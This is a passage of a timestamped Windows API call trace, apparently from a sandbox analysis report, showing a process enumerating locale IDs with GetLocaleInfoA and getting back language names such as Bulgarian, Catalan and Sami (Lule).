[0025.038] GetLastError () returned 0x0 [0025.038] GetLocaleInfoA (in: Locale=0x402, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Bulgarian") returned 10 [0025.057] GetLastError () returned 0x0 [0025.057] GetLocaleInfoA (in: Locale=0x403, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Catalan") returned 8 [0025.057] GetLastError () returned 0x0 [0025.057] GetLocaleInfoA (in: Locale=0x404, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Chinese (Traditional)") returned 22 [0025.062] GetLastError () returned 0x0 [0025.062] GetLocaleInfoA (in: Locale=0x405, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Czech") returned 6 [0025.066] GetLastError () returned 0x0 [0025.066] GetLocaleInfoA (in: Locale=0x406, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Danish") returned 7 [0025.066] GetLastError () returned 0x0 [0025.066] GetLocaleInfoA (in: Locale=0x407, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="German") returned 7 [0025.066] GetLastError () returned 0x0 [0025.066] GetLocaleInfoA (in: Locale=0x408, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Greek") returned 6 [0025.069] GetLastError () returned 0x0 [0025.069] GetLocaleInfoA (in: Locale=0x409, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.070] GetLastError () returned 0x0 [0025.070] GetLocaleInfoA (in: Locale=0x40a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.070] GetLastError () returned 0x0 [0025.070] GetLocaleInfoA (in: Locale=0x40b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Finnish") returned 8 [0025.070] GetLastError () returned 0x0 [0025.070] GetLocaleInfoA (in: Locale=0x40c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="French") returned 7 [0025.070] GetLastError () returned 0x0 [0025.070] GetLocaleInfoA (in: Locale=0x40d, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Hebrew") returned 7 [0025.073] GetLastError () returned 0x0 [0025.073] GetLocaleInfoA (in: Locale=0x40e, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Hungarian") returned 10 [0025.073] GetLastError () returned 0x0 [0025.073] GetLocaleInfoA (in: Locale=0x40f, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Icelandic") returned 10 [0025.073] GetLastError () returned 0x0 [0025.073] GetLocaleInfoA (in: Locale=0x410, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Italian") returned 8 [0025.073] GetLastError () returned 0x0 [0025.073] GetLocaleInfoA (in: Locale=0x411, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Japanese") returned 9 [0025.075] GetLastError () returned 0x0 [0025.075] GetLocaleInfoA (in: Locale=0x412, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Korean") returned 7 [0025.078] GetLastError () returned 0x0 [0025.078] GetLocaleInfoA (in: Locale=0x413, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Dutch") returned 6 [0025.078] GetLastError () returned 0x0 [0025.078] GetLocaleInfoA (in: Locale=0x414, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Norwegian (Bokmål)") returned 19 [0025.078] GetLastError () returned 0x0 [0025.078] GetLocaleInfoA (in: Locale=0x415, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Polish") returned 7 [0025.078] GetLastError () returned 0x0 [0025.078] GetLocaleInfoA (in: Locale=0x416, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Portuguese") returned 11 [0025.078] GetLastError () returned 0x0 [0025.078] GetLocaleInfoA (in: Locale=0x417, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Romansh") returned 8 [0025.079] GetLastError () returned 0x0 [0025.079] GetLocaleInfoA (in: Locale=0x418, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Romanian") returned 9 [0025.079] GetLastError () returned 0x0 [0025.079] GetLocaleInfoA (in: Locale=0x419, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Russian") returned 8 [0025.079] GetLastError () returned 0x0 [0025.079] GetLocaleInfoA (in: Locale=0x41a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Croatian") returned 9 [0025.079] GetLastError () returned 0x0 [0025.079] GetLocaleInfoA (in: Locale=0x41b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Slovak") returned 7 [0025.080] GetLastError () returned 0x0 [0025.080] GetLocaleInfoA (in: Locale=0x41c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Albanian") returned 9 [0025.080] GetLastError () returned 0x0 [0025.080] GetLocaleInfoA (in: Locale=0x41d, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Swedish") returned 8 [0025.080] GetLastError () returned 0x0 [0025.080] GetLocaleInfoA (in: Locale=0x41e, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Thai") returned 5 [0025.082] GetLastError () returned 0x0 [0025.082] GetLocaleInfoA (in: Locale=0x41f, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Turkish") returned 8 [0025.090] GetLastError () returned 0x0 [0025.090] GetLocaleInfoA (in: Locale=0x420, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Urdu") returned 5 [0025.091] GetLastError () returned 0x0 [0025.091] GetLocaleInfoA (in: Locale=0x421, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Indonesian") returned 11 [0025.091] GetLastError () returned 0x0 [0025.091] GetLocaleInfoA (in: Locale=0x422, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Ukrainian") returned 10 [0025.091] GetLastError () returned 0x0 [0025.091] GetLocaleInfoA (in: Locale=0x423, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Belarusian") returned 11 [0025.091] GetLastError () returned 0x0 [0025.091] GetLocaleInfoA (in: Locale=0x424, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Slovenian") returned 10 [0025.091] GetLastError () returned 0x0 [0025.091] GetLocaleInfoA (in: Locale=0x425, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Estonian") returned 9 [0025.093] GetLastError () returned 0x0 [0025.093] GetLocaleInfoA (in: Locale=0x426, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Latvian") returned 8 [0025.093] GetLastError () returned 0x0 [0025.093] GetLocaleInfoA (in: Locale=0x427, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Lithuanian") returned 11 [0025.093] GetLastError () returned 0x0 [0025.093] GetLocaleInfoA (in: Locale=0x428, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Tajik (Cyrillic)") returned 17 [0025.093] GetLastError () returned 0x0 [0025.093] GetLocaleInfoA (in: Locale=0x429, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Persian") returned 8 [0025.093] GetLastError () returned 0x0 [0025.093] GetLocaleInfoA (in: Locale=0x42a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Vietnamese") returned 11 [0025.095] GetLastError () returned 0x0 [0025.095] GetLocaleInfoA (in: Locale=0x42b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Armenian") returned 9 [0025.095] GetLastError () returned 0x0 [0025.095] GetLocaleInfoA (in: Locale=0x42c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Azeri (Latin)") returned 14 [0025.095] GetLastError () returned 0x0 [0025.095] GetLocaleInfoA (in: Locale=0x42d, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Basque") returned 7 [0025.096] GetLastError () returned 0x0 [0025.096] GetLocaleInfoA (in: Locale=0x42e, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Upper Sorbian") returned 14 [0025.096] GetLastError () returned 0x0 [0025.096] GetLocaleInfoA (in: Locale=0x42f, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Macedonian (FYROM)") returned 19 [0025.096] GetLastError () returned 0x0 [0025.096] GetLocaleInfoA (in: Locale=0x432, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Setswana") returned 9 [0025.096] GetLastError () returned 0x0 [0025.096] GetLocaleInfoA (in: Locale=0x434, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="isiXhosa") returned 9 [0025.096] GetLastError () returned 0x0 [0025.096] GetLocaleInfoA (in: Locale=0x435, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="isiZulu") returned 8 [0025.096] GetLastError () returned 0x0 [0025.096] GetLocaleInfoA (in: Locale=0x436, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Afrikaans") returned 10 [0025.096] GetLastError () returned 0x0 [0025.096] GetLocaleInfoA (in: Locale=0x437, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Georgian") returned 9 [0025.096] GetLastError () returned 0x0 [0025.096] GetLocaleInfoA (in: Locale=0x438, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Faroese") returned 8 [0025.097] GetLastError () returned 0x0 [0025.097] GetLocaleInfoA (in: Locale=0x439, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Hindi") returned 6 [0025.097] GetLastError () returned 0x0 [0025.097] GetLocaleInfoA (in: Locale=0x43a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Maltese") returned 8 [0025.097] GetLastError () returned 0x0 [0025.097] GetLocaleInfoA (in: Locale=0x43b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sami (Northern)") returned 16 [0025.097] GetLastError () returned 0x0 [0025.097] GetLocaleInfoA (in: Locale=0x43e, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Malay") returned 6 [0025.097] GetLastError () returned 0x0 [0025.097] GetLocaleInfoA (in: Locale=0x43f, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Kazakh") returned 7 [0025.097] GetLastError () returned 0x0 [0025.097] GetLocaleInfoA (in: Locale=0x440, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Kyrgyz") returned 7 [0025.097] GetLastError () returned 0x0 [0025.097] GetLocaleInfoA (in: Locale=0x441, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Kiswahili") returned 10 [0025.098] GetLastError () returned 0x0 [0025.098] GetLocaleInfoA (in: Locale=0x442, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Turkmen") returned 8 [0025.098] GetLastError () returned 0x0 [0025.098] GetLocaleInfoA (in: Locale=0x443, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Uzbek (Latin)") returned 14 [0025.098] GetLastError () returned 0x0 [0025.098] GetLocaleInfoA (in: Locale=0x444, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Tatar") returned 6 [0025.098] GetLastError () returned 0x0 [0025.098] GetLocaleInfoA (in: Locale=0x445, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Bengali") returned 8 [0025.098] GetLastError () returned 0x0 [0025.098] GetLocaleInfoA (in: Locale=0x446, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Punjabi") returned 8 [0025.098] GetLastError () returned 0x0 [0025.098] GetLocaleInfoA (in: Locale=0x447, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Gujarati") returned 9 [0025.098] GetLastError () returned 0x0 [0025.098] GetLocaleInfoA (in: Locale=0x448, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Oriya") returned 6 [0025.098] GetLastError () returned 0x0 [0025.099] GetLocaleInfoA (in: Locale=0x449, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Tamil") returned 6 [0025.099] GetLastError () returned 0x0 [0025.099] GetLocaleInfoA (in: Locale=0x44a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Telugu") returned 7 [0025.099] GetLastError () returned 0x0 [0025.099] GetLocaleInfoA (in: Locale=0x44b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Kannada") returned 8 [0025.099] GetLastError () returned 0x0 [0025.099] GetLocaleInfoA (in: Locale=0x44c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Malayalam") returned 10 [0025.099] GetLastError () returned 0x0 [0025.099] GetLocaleInfoA (in: Locale=0x44d, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Assamese") returned 9 [0025.099] GetLastError () returned 0x0 [0025.099] GetLocaleInfoA (in: Locale=0x44e, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Marathi") returned 8 [0025.099] GetLastError () returned 0x0 [0025.099] GetLocaleInfoA (in: Locale=0x44f, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sanskrit") returned 9 [0025.099] GetLastError () returned 0x0 [0025.099] GetLocaleInfoA (in: Locale=0x450, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Mongolian (Cyrillic)") returned 21 [0025.100] GetLastError () returned 0x0 [0025.100] GetLocaleInfoA (in: Locale=0x451, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Tibetan") returned 8 [0025.100] GetLastError () returned 0x0 [0025.100] GetLocaleInfoA (in: Locale=0x452, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Welsh") returned 6 [0025.100] GetLastError () returned 0x0 [0025.100] GetLocaleInfoA (in: Locale=0x453, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Khmer") returned 6 [0025.101] GetLastError () returned 0x0 [0025.101] GetLocaleInfoA (in: Locale=0x454, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Lao") returned 4 [0025.101] GetLastError () returned 0x0 [0025.102] GetLocaleInfoA (in: Locale=0x456, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Galician") returned 9 [0025.102] GetLastError () returned 0x0 [0025.102] GetLocaleInfoA (in: Locale=0x457, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Konkani") returned 8 [0025.103] GetLastError () returned 0x0 [0025.103] GetLocaleInfoA (in: Locale=0x45a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Syriac") returned 7 [0025.103] GetLastError () returned 0x0 [0025.103] GetLocaleInfoA (in: Locale=0x45b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sinhala") returned 8 [0025.103] GetLastError () returned 0x0 [0025.103] GetLocaleInfoA (in: Locale=0x45d, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Inuktitut (Syllabics)") returned 22 [0025.103] GetLastError () returned 0x0 [0025.103] GetLocaleInfoA (in: Locale=0x45e, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Amharic") returned 8 [0025.103] GetLastError () returned 0x0 [0025.103] GetLocaleInfoA (in: Locale=0x461, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Nepali") returned 7 [0025.103] GetLastError () returned 0x0 [0025.103] GetLocaleInfoA (in: Locale=0x462, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Frisian") returned 8 [0025.104] GetLastError () returned 0x0 [0025.104] GetLocaleInfoA (in: Locale=0x463, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Pashto") returned 7 [0025.104] GetLastError () returned 0x0 [0025.104] GetLocaleInfoA (in: Locale=0x464, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Filipino") returned 9 [0025.104] GetLastError () returned 0x0 [0025.104] GetLocaleInfoA (in: Locale=0x465, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Divehi") returned 7 [0025.104] GetLastError () returned 0x0 [0025.104] GetLocaleInfoA (in: Locale=0x468, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Hausa (Latin)") returned 14 [0025.104] GetLastError () returned 0x0 [0025.104] GetLocaleInfoA (in: Locale=0x46a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Yoruba") returned 7 [0025.104] GetLastError () returned 0x0 [0025.104] GetLocaleInfoA (in: Locale=0x46b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Quechua") returned 8 [0025.104] GetLastError () returned 0x0 [0025.104] GetLocaleInfoA (in: Locale=0x46c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sesotho sa Leboa") returned 17 [0025.104] GetLastError () returned 0x0 [0025.105] GetLocaleInfoA (in: Locale=0x46d, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Bashkir") returned 8 [0025.105] GetLastError () returned 0x0 [0025.105] GetLocaleInfoA (in: Locale=0x46e, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Luxembourgish") returned 14 [0025.105] GetLastError () returned 0x0 [0025.105] GetLocaleInfoA (in: Locale=0x46f, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Greenlandic") returned 12 [0025.105] GetLastError () returned 0x0 [0025.105] GetLocaleInfoA (in: Locale=0x470, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Igbo") returned 5 [0025.105] GetLastError () returned 0x0 [0025.105] GetLocaleInfoA (in: Locale=0x478, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Yi") returned 3 [0025.105] GetLastError () returned 0x0 [0025.105] GetLocaleInfoA (in: Locale=0x47a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Mapudungun") returned 11 [0025.105] GetLastError () returned 0x0 [0025.105] GetLocaleInfoA (in: Locale=0x47c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Mohawk") returned 7 [0025.105] GetLastError () returned 0x0 [0025.105] GetLocaleInfoA (in: Locale=0x47e, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Breton") returned 7 [0025.106] GetLastError () returned 0x0 [0025.106] GetLocaleInfoA (in: Locale=0x480, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Uyghur") returned 7 [0025.107] GetLastError () returned 0x0 [0025.107] GetLocaleInfoA (in: Locale=0x481, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Maori") returned 6 [0025.107] GetLastError () returned 0x0 [0025.107] GetLocaleInfoA (in: Locale=0x482, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Occitan") returned 8 [0025.107] GetLastError () returned 0x0 [0025.107] GetLocaleInfoA (in: Locale=0x483, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Corsican") returned 9 [0025.107] GetLastError () returned 0x0 [0025.107] GetLocaleInfoA (in: Locale=0x484, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Alsatian") returned 9 [0025.107] GetLastError () returned 0x0 [0025.107] GetLocaleInfoA (in: Locale=0x485, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Yakut") returned 6 [0025.107] GetLastError () returned 0x0 [0025.107] GetLocaleInfoA (in: Locale=0x486, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="K'iche") returned 7 [0025.107] GetLastError () returned 0x0 [0025.107] GetLocaleInfoA (in: Locale=0x487, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Kinyarwanda") returned 12 [0025.107] GetLastError () returned 0x0 [0025.108] GetLocaleInfoA (in: Locale=0x488, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Wolof") returned 6 [0025.108] GetLastError () returned 0x0 [0025.108] GetLocaleInfoA (in: Locale=0x48c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Dari") returned 5 [0025.108] GetLastError () returned 0x0 [0025.108] GetLocaleInfoA (in: Locale=0x491, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Scottish Gaelic") returned 16 [0025.108] GetLastError () returned 0x0 [0025.108] GetLocaleInfoA (in: Locale=0x801, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.109] GetLastError () returned 0x0 [0025.109] GetLocaleInfoA (in: Locale=0x804, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Chinese (Simplified)") returned 21 [0025.110] GetLastError () returned 0x0 [0025.111] GetLocaleInfoA (in: Locale=0x807, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="German") returned 7 [0025.111] GetLastError () returned 0x0 [0025.111] GetLocaleInfoA (in: Locale=0x809, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.111] GetLastError () returned 0x0 [0025.111] GetLocaleInfoA (in: Locale=0x80a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.111] GetLastError () returned 0x0 [0025.111] GetLocaleInfoA (in: Locale=0x80c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="French") returned 7 [0025.112] GetLastError () returned 0x0 [0025.112] GetLocaleInfoA (in: Locale=0x810, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Italian") returned 8 [0025.112] GetLastError () returned 0x0 [0025.112] GetLocaleInfoA (in: Locale=0x813, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Dutch") returned 6 [0025.112] GetLastError () returned 0x0 [0025.112] GetLocaleInfoA (in: Locale=0x814, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Norwegian (Nynorsk)") returned 20 [0025.112] GetLastError () returned 0x0 [0025.112] GetLocaleInfoA (in: Locale=0x816, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Portuguese") returned 11 [0025.113] GetLastError () returned 0x0 [0025.113] GetLocaleInfoA (in: Locale=0x81a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Serbian (Latin)") returned 16 [0025.113] GetLastError () returned 0x0 [0025.113] GetLocaleInfoA (in: Locale=0x81d, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Swedish") returned 8 [0025.113] GetLastError () returned 0x0 [0025.113] GetLocaleInfoA (in: Locale=0x82c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Azeri (Cyrillic)") returned 17 [0025.113] GetLastError () returned 0x0 [0025.114] GetLocaleInfoA (in: Locale=0x82e, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Lower Sorbian") returned 14 [0025.114] GetLastError () returned 0x0 [0025.114] GetLocaleInfoA (in: Locale=0x83b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sami (Northern)") returned 16 [0025.114] GetLastError () returned 0x0 [0025.114] GetLocaleInfoA (in: Locale=0x83c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Irish") returned 6 [0025.114] GetLastError () returned 0x0 [0025.114] GetLocaleInfoA (in: Locale=0x83e, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Malay") returned 6 [0025.114] GetLastError () returned 0x0 [0025.114] GetLocaleInfoA (in: Locale=0x843, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Uzbek (Cyrillic)") returned 17 [0025.115] GetLastError () returned 0x0 [0025.115] GetLocaleInfoA (in: Locale=0x845, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Bengali") returned 8 [0025.115] GetLastError () returned 0x0 [0025.115] GetLocaleInfoA (in: Locale=0x850, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Mongolian (Traditional Mongolian)") returned 34 [0025.115] GetLastError () returned 0x0 [0025.115] GetLocaleInfoA (in: Locale=0x85d, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Inuktitut (Latin)") returned 18 [0025.115] GetLastError () returned 0x0 [0025.115] GetLocaleInfoA (in: Locale=0x85f, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Tamazight (Latin)") returned 18 [0025.115] GetLastError () returned 0x0 [0025.116] GetLocaleInfoA (in: Locale=0x86b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Quechua") returned 8 [0025.116] GetLastError () returned 0x0 [0025.116] GetLocaleInfoA (in: Locale=0xc01, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.116] GetLastError () returned 0x0 [0025.116] GetLocaleInfoA (in: Locale=0xc04, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Chinese (Traditional)") returned 22 [0025.116] GetLastError () returned 0x0 [0025.117] GetLocaleInfoA (in: Locale=0xc07, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="German") returned 7 [0025.117] GetLastError () returned 0x0 [0025.117] GetLocaleInfoA (in: Locale=0xc09, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.117] GetLastError () returned 0x0 [0025.117] GetLocaleInfoA (in: Locale=0xc0a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.117] GetLastError () returned 0x0 [0025.117] GetLocaleInfoA (in: Locale=0xc0c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="French") returned 7 [0025.117] GetLastError () returned 0x0 [0025.117] GetLocaleInfoA (in: Locale=0xc1a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Serbian (Cyrillic)") returned 19 [0025.118] GetLastError () returned 0x0 [0025.118] GetLocaleInfoA (in: Locale=0xc3b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sami (Northern)") returned 16 [0025.118] GetLastError () returned 0x0 [0025.118] GetLocaleInfoA (in: Locale=0xc6b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Quechua") returned 8 [0025.118] GetLastError () returned 0x0 [0025.118] GetLocaleInfoA (in: Locale=0x1001, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.118] GetLastError () returned 0x0 [0025.119] GetLocaleInfoA (in: Locale=0x1004, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Chinese (Simplified)") returned 21 [0025.119] GetLastError () returned 0x0 [0025.119] GetLocaleInfoA (in: Locale=0x1007, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="German") returned 7 [0025.119] GetLastError () returned 0x0 [0025.119] GetLocaleInfoA (in: Locale=0x1009, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.119] GetLastError () returned 0x0 [0025.119] GetLocaleInfoA (in: Locale=0x100a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.120] GetLastError () returned 0x0 [0025.120] GetLocaleInfoA (in: Locale=0x100c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="French") returned 7 [0025.120] GetLastError () returned 0x0 [0025.120] GetLocaleInfoA (in: Locale=0x101a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Croatian (Latin)") returned 17 [0025.120] GetLastError () returned 0x0 [0025.120] GetLocaleInfoA (in: Locale=0x103b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sami (Lule)") returned 12 [0025.121] GetLastError () returned 0x0 [0025.121] GetLocaleInfoA (in: Locale=0x1401, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 [0025.121] GetLastError () returned 0x0 [0025.121] GetLocaleInfoA (in: Locale=0x1404, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Chinese (Traditional)") returned 22 [0025.121] GetLastError () returned 0x0 [0025.121] GetLocaleInfoA (in: Locale=0x1407, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="German") returned 7 [0025.121] GetLastError () returned 0x0 [0025.121] GetLocaleInfoA (in: Locale=0x1409, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="English") returned 8 [0025.122] GetLastError () returned 0x0 [0025.122] GetLocaleInfoA (in: Locale=0x140a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Spanish") returned 8 [0025.122] GetLastError () returned 0x0 [0025.122] GetLocaleInfoA (in: Locale=0x140c, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="French") returned 7 [0025.122] GetLastError () returned 0x0 [0025.122] GetLocaleInfoA (in: Locale=0x141a, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Bosnian (Latin)") returned 16 [0025.122] GetLastError () returned 0x0 [0025.123] GetLocaleInfoA (in: Locale=0x143b, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Sami (Lule)") returned 12 [0025.123] 